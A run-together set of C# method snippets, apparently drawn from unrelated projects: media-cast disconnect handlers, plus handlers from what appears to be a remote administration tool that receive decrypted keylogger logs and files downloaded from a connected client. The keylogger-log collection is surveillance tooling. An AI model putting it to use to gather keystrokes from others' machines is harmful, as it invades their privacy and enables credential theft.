public override Task <AppMessage> OnMessageReceivedAsync(ISender sender, IMessage message) { if (message is CloseMessage) { sender.Disconnect(true, true); } return(base.OnMessageReceivedAsync(sender, message)); }
public async Task DisconnectAsync() { if (_sender.IsConnected) { await _receiverChannel.StopAsync(_sender); } (_receiverChannel as IStatusChannel).Status = null; (_mediaChannel as IStatusChannel).Status = null; CancelAndSetListenerToken(false); _sender.Disconnect(true, false); CurrentContentId = null; OnDisconnect(this, EventArgs.Empty); }
private void Execute(ISender client, GetKeyloggerLogsResponse message) { if (message.FileCount == 0) { OnReport("Ready"); return; } // don't escape from download directory if (FileHelper.HasIllegalCharacters(message.Filename)) { // disconnect malicious client client.Disconnect(); return; } if (!Directory.Exists(_baseDownloadPath)) { Directory.CreateDirectory(_baseDownloadPath); } string downloadPath = Path.Combine(_baseDownloadPath, message.Filename + ".html"); FileSplit destFile = new FileSplit(downloadPath); destFile.AppendBlock(message.Block, message.CurrentBlock); if (message.CurrentBlock + 1 == message.MaxBlocks) { try { File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath, _client.Value.EncryptionKey)); } catch (Exception) { OnReport("Failed to write logs"); } if (message.Index == message.FileCount) { OnReport("Ready"); } } }
private void Execute(ISender client, DoDownloadFileResponse message) { FileTransfer transfer; lock (_syncLock) { transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id); } if (transfer == null) { // don't escape from download directory if (FileHelper.CheckPathForIllegalChars(message.Filename)) { // disconnect malicious client client.Disconnect(); return; } if (!Directory.Exists(_baseDownloadPath)) { Directory.CreateDirectory(_baseDownloadPath); } string downloadPath = Path.Combine(_baseDownloadPath, message.Filename); int i = 1; while (File.Exists(downloadPath)) { // rename file if it exists already var newFileName = string.Format("{0}({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath)); downloadPath = Path.Combine(_baseDownloadPath, newFileName); i++; } transfer = new FileTransfer { Id = message.Id, Type = TransferType.Download, LocalPath = downloadPath, RemotePath = message.Filename, // TODO: Change to absolute path Size = message.MaxBlocks, // TODO: Change to real size TransferredSize = 0 }; lock (_syncLock) { _activeFileTransfers.Add(transfer); } } // TODO: change to += message.Block.Length transfer.TransferredSize = message.CurrentBlock + 1; if (!string.IsNullOrEmpty(message.CustomMessage)) { // client-side error transfer.Status = message.CustomMessage; OnFileTransferUpdated(transfer); return; } FileSplit destFile = new FileSplit(transfer.LocalPath); if (!destFile.AppendBlock(message.Block, message.CurrentBlock)) { // server-side error transfer.Status = destFile.LastError; OnFileTransferUpdated(transfer); return; } if (message.CurrentBlock + 1 == message.MaxBlocks) { transfer.Status = "Completed"; } else { decimal progress = Math.Round((decimal)((double)(message.CurrentBlock + 1) / (double)message.MaxBlocks * 100.0), 2); transfer.Status = $"Downloading...({progress}%)"; } OnFileTransferUpdated(transfer); }